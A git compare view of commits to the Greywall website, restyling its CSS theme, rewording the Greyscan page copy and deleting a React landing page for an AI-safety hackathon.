Compare commits
6 Commits
hackathon
...
closed-bet
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
b1d0c95232 | ||
|
|
3f7a5e0fc1 | ||
|
|
f4fa328455 | ||
|
|
b2879e1a5e | ||
|
|
14fcaea830 | ||
|
|
b43e4c8ac4 |
281
app/globals.css
281
app/globals.css
@@ -4,77 +4,64 @@
|
||||
@custom-variant dark (&:is(.dark *));
|
||||
|
||||
:root {
|
||||
--background: 240 240 236;
|
||||
--foreground: 22 22 20;
|
||||
--card: 249 249 247;
|
||||
--card-foreground: 22 22 20;
|
||||
--popover: 249 249 247;
|
||||
--popover-foreground: 22 22 20;
|
||||
--primary: 217 94 42;
|
||||
--primary-foreground: 249 249 247;
|
||||
--secondary: 240 240 236;
|
||||
--secondary-foreground: 47 47 44;
|
||||
--muted: 240 240 236;
|
||||
--muted-foreground: 87 87 83;
|
||||
--accent: 221 221 215;
|
||||
--accent-foreground: 22 22 20;
|
||||
--destructive: 180 50 50;
|
||||
--destructive-foreground: 249 249 247;
|
||||
--border: 196 196 189;
|
||||
--input: 196 196 189;
|
||||
--ring: 217 94 42;
|
||||
--radius: 0.375rem;
|
||||
}
|
||||
|
||||
.dark {
|
||||
--background: 22 22 20;
|
||||
--foreground: 249 249 247;
|
||||
--card: 47 47 44;
|
||||
--card-foreground: 249 249 247;
|
||||
--popover: 47 47 44;
|
||||
--popover-foreground: 249 249 247;
|
||||
--primary: 217 94 42;
|
||||
--primary-foreground: 249 249 247;
|
||||
--secondary: 87 87 83;
|
||||
--secondary-foreground: 249 249 247;
|
||||
--muted: 87 87 83;
|
||||
--muted-foreground: 196 196 189;
|
||||
--accent: 87 87 83;
|
||||
--accent-foreground: 249 249 247;
|
||||
--destructive: 180 50 50;
|
||||
--destructive-foreground: 249 249 247;
|
||||
--border: 87 87 83;
|
||||
--input: 87 87 83;
|
||||
--ring: 217 94 42;
|
||||
--radius: 0.625rem;
|
||||
--background: #F0F0EC;
|
||||
--foreground: #161614;
|
||||
--card: #F9F9F7;
|
||||
--card-foreground: #161614;
|
||||
--popover: #F9F9F7;
|
||||
--popover-foreground: #161614;
|
||||
--primary: #D95E2A;
|
||||
--primary-foreground: #F9F9F7;
|
||||
--secondary: #F0F0EC;
|
||||
--secondary-foreground: #161614;
|
||||
--muted: #F0F0EC;
|
||||
--muted-foreground: #575753;
|
||||
--accent: #DDDDD7;
|
||||
--accent-foreground: #161614;
|
||||
--destructive: #B43232;
|
||||
--destructive-foreground: #F9F9F7;
|
||||
--border: #C4C4BD;
|
||||
--input: #C4C4BD;
|
||||
--ring: #D95E2A;
|
||||
}
|
||||
|
||||
@theme inline {
|
||||
--font-sans: var(--font-inter), 'Inter', ui-sans-serif, system-ui, sans-serif;
|
||||
--font-serif: var(--font-source-serif), 'Source Serif 4', 'Source Serif Pro', Georgia, serif;
|
||||
--color-background: var(--background);
|
||||
--color-foreground: var(--foreground);
|
||||
--color-offwhite: #F9F9F7;
|
||||
--color-orange: #D95E2A;
|
||||
--color-grey-1: #F0F0EC;
|
||||
--color-grey-2: #DDDDD7;
|
||||
--color-grey-3: #C4C4BD;
|
||||
--color-grey-4: #A6A69F;
|
||||
--color-grey-5: #7F7F79;
|
||||
--color-grey-7: #575753;
|
||||
--color-grey-8: #2F2F2C;
|
||||
--color-grey-9: #161614;
|
||||
--font-sans: var(--font-geist-sans);
|
||||
--font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, monospace;
|
||||
|
||||
--color-background: rgb(var(--background));
|
||||
--color-foreground: rgb(var(--foreground));
|
||||
--color-card: rgb(var(--card));
|
||||
--color-card-foreground: rgb(var(--card-foreground));
|
||||
--color-popover: rgb(var(--popover));
|
||||
--color-popover-foreground: rgb(var(--popover-foreground));
|
||||
--color-primary: rgb(var(--primary));
|
||||
--color-primary-foreground: rgb(var(--primary-foreground));
|
||||
--color-secondary: rgb(var(--secondary));
|
||||
--color-secondary-foreground: rgb(var(--secondary-foreground));
|
||||
--color-muted: rgb(var(--muted));
|
||||
--color-muted-foreground: rgb(var(--muted-foreground));
|
||||
--color-accent: rgb(var(--accent));
|
||||
--color-accent-foreground: rgb(var(--accent-foreground));
|
||||
--color-destructive: rgb(var(--destructive));
|
||||
--color-destructive-foreground: rgb(var(--destructive-foreground));
|
||||
--color-border: rgb(var(--border));
|
||||
--color-input: rgb(var(--input));
|
||||
--color-ring: rgb(var(--ring));
|
||||
--radius-sm: calc(var(--radius) - 2px);
|
||||
--radius-md: var(--radius);
|
||||
--radius-lg: calc(var(--radius) + 2px);
|
||||
--font-serif: var(--font-source-serif-pro);
|
||||
--color-ring: var(--ring);
|
||||
--color-input: var(--input);
|
||||
--color-border: var(--border);
|
||||
--color-destructive: var(--destructive);
|
||||
--color-destructive-foreground: var(--destructive-foreground);
|
||||
--color-accent-foreground: var(--accent-foreground);
|
||||
--color-accent: var(--accent);
|
||||
--color-muted-foreground: var(--muted-foreground);
|
||||
--color-muted: var(--muted);
|
||||
--color-secondary-foreground: var(--secondary-foreground);
|
||||
--color-secondary: var(--secondary);
|
||||
--color-primary-foreground: var(--primary-foreground);
|
||||
--color-primary: var(--primary);
|
||||
--color-popover-foreground: var(--popover-foreground);
|
||||
--color-popover: var(--popover);
|
||||
--color-card-foreground: var(--card-foreground);
|
||||
--color-card: var(--card);
|
||||
--radius-sm: calc(var(--radius) - 4px);
|
||||
--radius-md: calc(var(--radius) - 2px);
|
||||
--radius-lg: var(--radius);
|
||||
--radius-xl: calc(var(--radius) + 4px);
|
||||
|
||||
--color-greyhaven-orange: #D95E2A;
|
||||
@@ -89,6 +76,18 @@
|
||||
--color-greyhaven-grey8: #2F2F2C;
|
||||
}
|
||||
|
||||
* {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
}
|
||||
|
||||
body {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
width: 100%;
|
||||
overflow-x: visible;
|
||||
background: #DDDDD7;
|
||||
min-height: 100vh;
|
||||
}
|
||||
|
||||
@layer base {
|
||||
* {
|
||||
@apply border-border outline-ring/50;
|
||||
@@ -101,22 +100,46 @@
|
||||
}
|
||||
}
|
||||
|
||||
/* Code block styling */
|
||||
.code-block {
|
||||
background: rgb(30 30 27);
|
||||
border: 1px solid rgb(var(--border));
|
||||
border-radius: var(--radius-lg);
|
||||
.bg-gradient {
|
||||
background: #DDDDD7;
|
||||
}
|
||||
|
||||
/* Subtle glow effect for primary elements */
|
||||
.glow-orange {
|
||||
box-shadow: 0 0 40px rgba(217, 94, 42, 0.08);
|
||||
.title-serif {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
font-weight: 600;
|
||||
letter-spacing: -2%;
|
||||
}
|
||||
|
||||
.text-serif {
|
||||
font-family: var(--font-source-serif-pro), serif, Arial, Helvetica, sans-serif;
|
||||
font-weight: 600;
|
||||
}
|
||||
|
||||
.surface-card {
|
||||
background: rgba(249, 249, 247, 0.92);
|
||||
box-shadow: 0 8px 24px rgba(22, 22, 20, 0.05);
|
||||
}
|
||||
|
||||
/* Code block styling */
|
||||
.code-block {
|
||||
background: rgb(47 47 44);
|
||||
border: 1px solid rgb(87 87 83);
|
||||
border-radius: var(--radius-lg);
|
||||
box-shadow:
|
||||
inset 0 1px 0 rgba(249, 249, 247, 0.04),
|
||||
0 6px 18px rgba(22, 22, 20, 0.06);
|
||||
}
|
||||
|
||||
.code-block,
|
||||
.code-block * {
|
||||
font-family: var(--font-mono);
|
||||
}
|
||||
|
||||
|
||||
/* Terminal prompt styling */
|
||||
.terminal-line::before {
|
||||
content: '$ ';
|
||||
color: rgb(var(--muted-foreground));
|
||||
color: var(--muted-foreground);
|
||||
}
|
||||
|
||||
/* Smooth section transitions */
|
||||
@@ -124,35 +147,21 @@ section {
|
||||
scroll-margin-top: 5rem;
|
||||
}
|
||||
|
||||
/* Custom scrollbar for dark theme */
|
||||
.dark ::-webkit-scrollbar {
|
||||
/* Custom scrollbar */
|
||||
::-webkit-scrollbar {
|
||||
width: 8px;
|
||||
}
|
||||
.dark ::-webkit-scrollbar-track {
|
||||
background: rgb(22 22 20);
|
||||
::-webkit-scrollbar-track {
|
||||
background: rgb(240 240 236);
|
||||
}
|
||||
.dark ::-webkit-scrollbar-thumb {
|
||||
background: rgb(87 87 83);
|
||||
::-webkit-scrollbar-thumb {
|
||||
background: rgb(166 166 159);
|
||||
border-radius: 4px;
|
||||
}
|
||||
|
||||
/* Animated gradient border */
|
||||
@keyframes border-glow {
|
||||
0%, 100% { opacity: 0.3; }
|
||||
50% { opacity: 0.6; }
|
||||
}
|
||||
|
||||
.border-glow {
|
||||
animation: border-glow 3s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* Layer card hover effect */
|
||||
.layer-card {
|
||||
transition: all 0.3s ease;
|
||||
}
|
||||
.layer-card:hover {
|
||||
transform: translateY(-2px);
|
||||
box-shadow: 0 8px 32px rgba(0, 0, 0, 0.2);
|
||||
transition: border-color 0.2s ease;
|
||||
}
|
||||
|
||||
/* Carousel progress bar */
|
||||
@@ -174,7 +183,7 @@ section {
|
||||
}
|
||||
|
||||
.animate-fade-up {
|
||||
animation: fade-up 0.6s ease-out forwards;
|
||||
animation: fade-up 0.45s ease-out forwards;
|
||||
}
|
||||
|
||||
/* Stagger children */
|
||||
@@ -196,79 +205,3 @@ section {
|
||||
.scrollbar-hide::-webkit-scrollbar {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* ─── Aurora gradient background (Stripe-inspired) ─── */
|
||||
@keyframes aurora {
|
||||
0%, 100% { background-position: 0% 50%, 100% 50%, 50% 100%; }
|
||||
33% { background-position: 100% 0%, 0% 100%, 50% 50%; }
|
||||
66% { background-position: 50% 100%, 50% 0%, 0% 50%; }
|
||||
}
|
||||
|
||||
.aurora-bg {
|
||||
background:
|
||||
radial-gradient(ellipse at 20% 50%, rgba(217,94,42,0.12) 0%, transparent 50%),
|
||||
radial-gradient(ellipse at 80% 20%, rgba(217,94,42,0.06) 0%, transparent 50%),
|
||||
radial-gradient(ellipse at 50% 80%, rgba(249,249,247,0.03) 0%, transparent 50%);
|
||||
background-size: 200% 200%, 200% 200%, 200% 200%;
|
||||
animation: aurora 20s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* ─── Gradient text shimmer ─── */
|
||||
@keyframes gradient-shift {
|
||||
0%, 100% { background-position: 0% center; }
|
||||
50% { background-position: 200% center; }
|
||||
}
|
||||
|
||||
.text-shimmer {
|
||||
background: linear-gradient(90deg, rgb(var(--foreground)) 0%, rgb(var(--primary)) 40%, rgb(var(--foreground)) 80%);
|
||||
background-size: 200% auto;
|
||||
-webkit-background-clip: text;
|
||||
background-clip: text;
|
||||
-webkit-text-fill-color: transparent;
|
||||
animation: gradient-shift 6s ease infinite;
|
||||
}
|
||||
|
||||
/* ─── Dot grid wave (Linear-inspired) ─── */
|
||||
@keyframes dot-pulse {
|
||||
0%, 100% { opacity: 0.08; transform: scale(1); }
|
||||
50% { opacity: 0.5; transform: scale(1.3); }
|
||||
}
|
||||
|
||||
/* ─── Floating animation ─── */
|
||||
@keyframes float {
|
||||
0%, 100% { transform: translateY(0px); }
|
||||
50% { transform: translateY(-8px); }
|
||||
}
|
||||
|
||||
.animate-float {
|
||||
animation: float 4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
/* ─── Card spotlight hover (mouse-tracking glow) ─── */
|
||||
.card-spotlight {
|
||||
position: relative;
|
||||
overflow: hidden;
|
||||
}
|
||||
.card-spotlight::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(600px circle at var(--mouse-x, 50%) var(--mouse-y, 50%), rgba(217,94,42,0.06), transparent 40%);
|
||||
opacity: 0;
|
||||
transition: opacity 0.3s;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
}
|
||||
.card-spotlight:hover::before {
|
||||
opacity: 1;
|
||||
}
|
||||
|
||||
/* ─── Marquee scroll ─── */
|
||||
@keyframes marquee {
|
||||
from { transform: translateX(0); }
|
||||
to { transform: translateX(-50%); }
|
||||
}
|
||||
|
||||
.animate-marquee {
|
||||
animation: marquee 30s linear infinite;
|
||||
}
|
||||
|
||||
@@ -2,13 +2,13 @@ import type { Metadata } from 'next'
|
||||
|
||||
export const metadata: Metadata = {
|
||||
title: 'Greyscan | Greywall',
|
||||
description: 'Scan your repo and see what an unrestricted AI agent would attempt. Powered by Greywall.',
|
||||
description: 'Inspect what an unrestricted AI agent would likely try on your machine from a public repository context.',
|
||||
alternates: {
|
||||
canonical: 'https://greywall.io/greyscan',
|
||||
},
|
||||
openGraph: {
|
||||
title: 'Greyscan | Greywall',
|
||||
description: 'Scan your repo and see what an unrestricted AI agent would attempt. Powered by Greywall.',
|
||||
description: 'Inspect what an unrestricted AI agent would likely try on your machine from a public repository context.',
|
||||
url: 'https://greywall.io/greyscan',
|
||||
siteName: 'Greywall',
|
||||
type: 'website',
|
||||
|
||||
@@ -5,6 +5,7 @@ import {
|
||||
Shield, AlertTriangle, Globe, FolderOpen, Terminal,
|
||||
ArrowLeft, Copy, Check, ArrowRight, Lock, Eye, MessageSquareWarning,
|
||||
} from 'lucide-react'
|
||||
import { GreywallLogo } from '@/components/logo'
|
||||
|
||||
// --- Types ---
|
||||
|
||||
@@ -354,23 +355,17 @@ export default function GamePage() {
|
||||
return (
|
||||
<main className="min-h-screen">
|
||||
{/* Nav */}
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/90 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="/" className="flex items-center gap-2 text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||
<ArrowLeft className="h-4 w-4" />
|
||||
<span className="hidden sm:inline">Back to Greywall</span>
|
||||
</a>
|
||||
<div className="flex items-center gap-2.5">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-5 w-5" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" />
|
||||
<circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight">Greyscan</span>
|
||||
<div className="inline-flex items-center gap-3">
|
||||
<GreywallLogo size="small" />
|
||||
<span className="font-sans text-lg font-semibold tracking-[-0.03em] text-foreground">
|
||||
Greyscan
|
||||
</span>
|
||||
</div>
|
||||
<div className="w-20" />
|
||||
</div>
|
||||
@@ -380,7 +375,6 @@ export default function GamePage() {
|
||||
{/* ── INPUT PHASE ── */}
|
||||
{phase === 'input' && (
|
||||
<section className="relative min-h-[calc(100vh-3.5rem)] flex items-center justify-center px-4 sm:px-6">
|
||||
<div className="absolute inset-0 bg-[radial-gradient(ellipse_at_top,rgba(217,94,42,0.06)_0%,transparent_50%)]" />
|
||||
<div
|
||||
className="absolute inset-0 opacity-[0.03]"
|
||||
style={{
|
||||
@@ -391,12 +385,11 @@ export default function GamePage() {
|
||||
|
||||
<div className="relative max-w-2xl w-full text-center animate-fade-up">
|
||||
<h1 className="font-serif text-3xl sm:text-4xl md:text-5xl font-semibold tracking-tight leading-[1.1] mb-4">
|
||||
What would an AI agent{' '}
|
||||
<em className="italic text-primary">try on your machine?</em>
|
||||
What would an unrestricted agent try on your machine?
|
||||
</h1>
|
||||
|
||||
<p className="text-muted-foreground font-serif text-base sm:text-lg leading-relaxed mb-10 max-w-xl mx-auto">
|
||||
AI agents run as you, with access to everything you have. Paste a repo and see what an unrestricted agent could attempt. This is an awareness tool, not a security assessment.
|
||||
Paste a public repository and Greyscan will estimate the reads, writes, and calls an unrestricted agent would likely attempt from that context. This is an awareness tool, not a security assessment.
|
||||
</p>
|
||||
|
||||
<form
|
||||
@@ -421,7 +414,7 @@ export default function GamePage() {
|
||||
</form>
|
||||
|
||||
<p className="text-xs text-muted-foreground/50 mt-4 font-sans">
|
||||
Public repos only · No code is stored · Powered by <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Greywall</a>
|
||||
Public repos only · No code is stored · Built on <a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors">Greywall</a>
|
||||
</p>
|
||||
</div>
|
||||
</section>
|
||||
@@ -501,7 +494,7 @@ export default function GamePage() {
|
||||
<section className="px-4 sm:px-6 py-12 sm:py-16">
|
||||
<div className="max-w-2xl mx-auto">
|
||||
{/* Report Card */}
|
||||
<div className="border border-border/30 rounded-xl overflow-hidden bg-card/20 animate-fade-up glow-orange">
|
||||
<div className="border border-border/30 rounded-xl overflow-hidden bg-card/20 animate-fade-up">
|
||||
{/* Header */}
|
||||
<div className="p-6 sm:p-8 border-b border-border/20">
|
||||
<div className="flex items-start justify-between gap-4">
|
||||
|
||||
@@ -1,747 +0,0 @@
|
||||
'use client'
|
||||
|
||||
import { useState, useEffect, useRef, Suspense, useCallback } from 'react'
|
||||
import dynamic from 'next/dynamic'
|
||||
import {
|
||||
ChevronDown,
|
||||
ArrowRight,
|
||||
Users,
|
||||
Star,
|
||||
MapPin,
|
||||
Eye,
|
||||
Target,
|
||||
AlertTriangle,
|
||||
ShieldAlert,
|
||||
MessageSquare,
|
||||
Crown,
|
||||
FlaskConical,
|
||||
} from 'lucide-react'
|
||||
import { Footer } from '@/components/footer'
|
||||
import { LiveTerminal } from '@/components/hackathons/live-terminal'
|
||||
import { StreamViz, SecureViz, RadarViz, ScanViz, ExtendViz, BenchViz } from '@/components/hackathons/track-visuals'
|
||||
|
||||
const ShieldScene = dynamic(
|
||||
() => import('@/components/hackathons/shield-scene').then((m) => m.ShieldScene),
|
||||
{ ssr: false }
|
||||
)
|
||||
|
||||
/* ─── Hooks ─── */
|
||||
|
||||
function useInView(threshold = 0.15) {
|
||||
const ref = useRef<HTMLDivElement>(null)
|
||||
const [visible, setVisible] = useState(false)
|
||||
useEffect(() => {
|
||||
const el = ref.current
|
||||
if (!el) return
|
||||
const obs = new IntersectionObserver(([e]) => { if (e.isIntersecting) { setVisible(true); obs.unobserve(el) } }, { threshold, rootMargin: '0px 0px -40px 0px' })
|
||||
obs.observe(el)
|
||||
return () => obs.disconnect()
|
||||
}, [threshold])
|
||||
return { ref, visible }
|
||||
}
|
||||
|
||||
|
||||
function useMouseSpotlight() {
|
||||
const ref = useRef<HTMLDivElement>(null)
|
||||
const onMove = useCallback((e: React.MouseEvent) => {
|
||||
const el = ref.current
|
||||
if (!el) return
|
||||
const rect = el.getBoundingClientRect()
|
||||
el.style.setProperty('--mouse-x', `${e.clientX - rect.left}px`)
|
||||
el.style.setProperty('--mouse-y', `${e.clientY - rect.top}px`)
|
||||
}, [])
|
||||
return { ref, onMove }
|
||||
}
|
||||
|
||||
/* ─── Noise overlay ─── */
|
||||
|
||||
function NoiseOverlay() {
|
||||
return (
|
||||
<svg className="fixed inset-0 w-full h-full pointer-events-none z-[100] opacity-[0.025]" aria-hidden>
|
||||
<filter id="grain">
|
||||
<feTurbulence type="fractalNoise" baseFrequency="0.8" numOctaves="4" stitchTiles="stitch" />
|
||||
</filter>
|
||||
<rect width="100%" height="100%" filter="url(#grain)" />
|
||||
</svg>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Nav ─── */
|
||||
|
||||
function Nav() {
|
||||
return (
|
||||
<nav className="fixed top-0 left-0 right-0 z-50 border-b border-border/50 bg-background/80 backdrop-blur-md">
|
||||
<div className="mx-auto max-w-5xl flex items-center justify-between px-6 h-14">
|
||||
<a href="/" className="flex items-center gap-2.5">
|
||||
<svg viewBox="0 0 32 32" fill="none" className="h-6 w-6" xmlns="http://www.w3.org/2000/svg">
|
||||
<path d="M16 2L4 7V15C4 22.18 9.11 28.79 16 30C22.89 28.79 28 22.18 28 15V7L16 2Z" fill="#D95E2A" />
|
||||
<path d="M16 6L8 9.5V15C8 20.05 11.42 24.68 16 26C20.58 24.68 24 20.05 24 15V9.5L16 6Z" fill="#161614" />
|
||||
<circle cx="16" cy="12" r="2" fill="#D95E2A" /><circle cx="12" cy="17" r="1.5" fill="#D95E2A" />
|
||||
<circle cx="20" cy="17" r="1.5" fill="#D95E2A" /><circle cx="16" cy="21" r="1.5" fill="#D95E2A" />
|
||||
<path d="M16 14V19.5M14 16L12.5 17M18 16L19.5 17" stroke="#D95E2A" strokeWidth="1" strokeLinecap="round" />
|
||||
</svg>
|
||||
<span className="font-serif font-semibold text-lg tracking-tight">Greywall</span>
|
||||
</a>
|
||||
<div className="flex items-center gap-6">
|
||||
<a href="#tracks" className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block">Tracks</a>
|
||||
<a href="#faq" className="text-sm text-muted-foreground hover:text-foreground transition-colors hidden sm:block">FAQ</a>
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-sm text-muted-foreground hover:text-foreground transition-colors">
|
||||
<svg className="h-4 w-4" fill="currentColor" viewBox="0 0 24 24"><path d="M12 0c-6.626 0-12 5.373-12 12 0 5.302 3.438 9.8 8.207 11.387.599.111.793-.261.793-.577v-2.234c-3.338.726-4.033-1.416-4.033-1.416-.546-1.387-1.333-1.756-1.333-1.756-1.089-.745.083-.729.083-.729 1.205.084 1.839 1.237 1.839 1.237 1.07 1.834 2.807 1.304 3.492.997.107-.775.418-1.305.762-1.604-2.665-.305-5.467-1.334-5.467-5.931 0-1.311.469-2.381 1.236-3.221-.124-.303-.535-1.524.117-3.176 0 0 1.008-.322 3.301 1.23.957-.266 1.983-.399 3.003-.404 1.02.005 2.047.138 3.006.404 2.291-1.552 3.297-1.23 3.297-1.23.653 1.653.242 2.874.118 3.176.77.84 1.235 1.911 1.235 3.221 0 4.609-2.807 5.624-5.479 5.921.43.372.823 1.102.823 2.222v3.293c0 .319.192.694.801.576 4.765-1.589 8.199-6.086 8.199-11.386 0-6.627-5.373-12-12-12z" /></svg>
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</nav>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Hero ─── */
|
||||
|
||||
function Hero() {
|
||||
return (
|
||||
<section className="relative pt-28 sm:pt-40 pb-28 sm:pb-40 px-4 sm:px-6 overflow-hidden">
|
||||
{/* 3D Shield background */}
|
||||
<div className="absolute inset-0 z-0 opacity-60">
|
||||
<Suspense fallback={null}>
|
||||
<ShieldScene />
|
||||
</Suspense>
|
||||
</div>
|
||||
|
||||
{/* Aurora gradient */}
|
||||
<div className="absolute inset-0 z-[1] aurora-bg" />
|
||||
|
||||
{/* Dark overlay for readability */}
|
||||
<div className="absolute inset-0 z-[1] bg-[radial-gradient(ellipse_at_center,rgba(22,22,20,0.3)_0%,rgba(22,22,20,0.75)_70%)]" />
|
||||
<div className="absolute inset-0 z-[1] bg-gradient-to-b from-background/50 via-transparent to-background" />
|
||||
|
||||
<div className="relative z-[2] mx-auto max-w-4xl text-center">
|
||||
<h1 className="font-serif text-6xl sm:text-7xl md:text-8xl font-semibold tracking-tight leading-[1] mb-4 text-shimmer">
|
||||
Hack the Wall.
|
||||
</h1>
|
||||
<p className="text-xl sm:text-2xl text-muted-foreground font-serif mb-10 max-w-2xl mx-auto">
|
||||
AI Safety & Data Sovereignty Hackathon 2026
|
||||
</p>
|
||||
<a
|
||||
href="#tracks"
|
||||
className="group inline-flex items-center gap-2 px-8 py-4 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all glow-orange text-base hover:shadow-[0_0_30px_rgba(217,94,42,0.3)]"
|
||||
>
|
||||
Explore tracks
|
||||
<ArrowRight className="h-4 w-4 group-hover:translate-x-0.5 transition-transform" />
|
||||
</a>
|
||||
</div>
|
||||
</section>
|
||||
)
|
||||
}
|
||||
|
||||
|
||||
/* ─── Notify Button ─── */
|
||||
|
||||
function NotifyButton({ className = '' }: { className?: string }) {
|
||||
const [mode, setMode] = useState<'button' | 'form' | 'success'>('button')
|
||||
const [email, setEmail] = useState('')
|
||||
const [submitting, setSubmitting] = useState(false)
|
||||
|
||||
const handleSubmit = async (e: React.FormEvent) => {
|
||||
e.preventDefault()
|
||||
if (!email) return
|
||||
setSubmitting(true)
|
||||
try {
|
||||
const formData = new FormData()
|
||||
formData.append('access_key', '9239e4ed-eb6f-4fa2-afdd-f40b9dec25bf')
|
||||
formData.append('email', email)
|
||||
formData.append('subject', 'Hackathon Registration Interest')
|
||||
const response = await fetch('https://api.web3forms.com/submit', {
|
||||
method: 'POST',
|
||||
body: formData,
|
||||
})
|
||||
const data = await response.json()
|
||||
if (data.success) {
|
||||
setMode('success')
|
||||
}
|
||||
} catch {
|
||||
window.location.href = `mailto:hello@greyhaven.co?subject=Hackathon%20Notify&body=Please%20notify%20me%20at%20${encodeURIComponent(email)}`
|
||||
setMode('success')
|
||||
}
|
||||
setSubmitting(false)
|
||||
}
|
||||
|
||||
if (mode === 'success') {
|
||||
return (
|
||||
<div className={`inline-flex items-center gap-2 px-8 py-4 bg-primary/10 border border-primary/20 text-primary font-sans font-medium rounded-lg text-base ${className}`}>
|
||||
You are on the list.
|
||||
</div>
|
||||
)
|
||||
}
|
||||
|
||||
if (mode === 'form') {
|
||||
return (
|
||||
<form onSubmit={handleSubmit} className={`inline-flex items-center gap-2 ${className}`}>
|
||||
<input
|
||||
type="email"
|
||||
required
|
||||
placeholder="you@example.com"
|
||||
value={email}
|
||||
onChange={(e) => setEmail(e.target.value)}
|
||||
autoFocus
|
||||
className="px-4 py-3 bg-card/60 border border-border/40 rounded-lg text-sm font-sans text-foreground placeholder:text-muted-foreground/50 focus:outline-none focus:border-primary/50 w-64"
|
||||
/>
|
||||
<button
|
||||
type="submit"
|
||||
disabled={submitting}
|
||||
className="px-6 py-3 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all text-sm cursor-pointer disabled:opacity-50"
|
||||
>
|
||||
{submitting ? 'Sending...' : 'Notify me'}
|
||||
</button>
|
||||
</form>
|
||||
)
|
||||
}
|
||||
|
||||
return (
|
||||
<button
|
||||
onClick={() => setMode('form')}
|
||||
className={`group inline-flex items-center gap-2 px-8 py-4 bg-primary text-primary-foreground font-sans font-medium rounded-lg hover:bg-primary/90 transition-all glow-orange text-base hover:shadow-[0_0_30px_rgba(217,94,42,0.3)] cursor-pointer ${className}`}
|
||||
>
|
||||
Get notified when registration opens
|
||||
<ArrowRight className="h-4 w-4 group-hover:translate-x-0.5 transition-transform" />
|
||||
</button>
|
||||
)
|
||||
}
|
||||
|
||||
/* ─── Info Section (Tabbed) ─── */
|
||||
|
||||
const infoTabs = ['Overview', 'Resources', 'Guidelines', 'Schedule'] as const
|
||||
|
||||
function OverviewTab() {
|
||||
return (
|
||||
<div className="space-y-12">
|
||||
{/* Intro */}
|
||||
<div>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed mb-6">
|
||||
The Greywall Hackathon brings together engineers, security professionals, and AI enthusiasts to tackle one of the most urgent open problems: how do we keep AI agents safe when they operate autonomously on real systems?
|
||||
</p>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
Over 48 hours, participants will build guardrails, filters, classifiers, and detection systems that sit on top of{' '}
|
||||
<a href="https://github.com/GreyhavenHQ/greywall" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greywall</a>,
|
||||
an open-source sandboxing system for AI agents built by{' '}
|
||||
<a href="https://greyhaven.co" target="_blank" rel="noopener noreferrer" className="text-primary hover:text-primary/80 transition-colors underline underline-offset-2">Greyhaven</a>.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* What is Sovereign AI? */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">What is Sovereign AI?</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
Sovereign AI is the principle that organizations should maintain full control over their AI systems: what they can access, what data they process, and what actions they take. No data leaks, no unauthorized actions, no black boxes. Your AI agents should work for you, within boundaries you define. That is what Greywall enforces, and that is what this hackathon is about extending.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Why this hackathon? */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-4">Why this hackathon?</h3>
|
||||
<p className="font-serif text-lg text-muted-foreground leading-relaxed">
|
||||
AI agents are getting more powerful and more autonomous every month. But the security tooling has not kept up. There is a real gap between what agents can do and the guardrails available to keep them in check. This hackathon exists to close that gap, and to give talented people a chance to build the tools that the entire industry needs.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
{/* Prizes */}
|
||||
<div>
|
||||
<h3 className="font-serif text-2xl sm:text-3xl font-semibold tracking-tight mb-6">Top teams get</h3>
|
||||
<div className="grid sm:grid-cols-3 gap-4">
|
||||
{[
|
||||
